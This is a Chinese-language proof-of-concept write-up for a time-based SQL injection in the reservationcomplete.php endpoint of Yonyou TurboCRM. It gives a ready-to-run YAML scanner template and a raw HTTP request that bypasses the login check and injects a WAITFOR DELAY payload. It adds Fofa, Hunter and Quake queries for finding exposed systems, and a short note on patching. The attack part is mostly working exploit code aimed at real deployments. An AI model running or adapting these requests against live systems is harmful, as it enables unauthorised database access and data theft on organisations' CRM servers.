POC（Yaml&）

• 「Yaml」

id: yonyou-crm-reservationcomplete-sqli

info:
name: 用友crm reservationcomplete.php SQL注入
author: xx
severity: high
description: 用友crm reservationcomplete.php SQL注入
metadata:
fofa-query: app="用友-TurboCRM"
tags: yonyou,sqli

http:
- raw:
- |+
@timeout: 30s
GET /bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;WAITFOR%20DELAY%20%270:0:3%27-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=bgsesstimeout-
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.12.3
Priority: u=0, i

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=6 && duration<8'
- 'status_code_1 == 200'
condition: and

漏洞介绍

❝

用友TurboCRM客户关系管理系统reservationcomplete.php接口存在sql注入漏洞恶意攻击者可能会向数据库发送构造的恶意SQL查询语句，以获取数据库敏感信息、修改数据或者执行其他恶意操作。

❞

资产测绘

• 「Fofa」

❝

app="用友-TurboCRM"

❞

• 「Hunter」

❝

app:"用友-TurboCRM"

❞

• 「Quake」

❝

app.name="用友 CRM"

❞

漏洞复现

「1、构造数据包」

GET /bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: 127.0.0.1:8072
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=bgsesstimeout-
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.12.3
Priority: u=0, i

「2、查看响应时间（这里响应时间翻倍了）」

修复方案

❝

• 官方已发布安全补丁，建议联系厂商打补丁或升级版本。
• 引入Web应用防火墙防护，配置接口拦截策略。

❞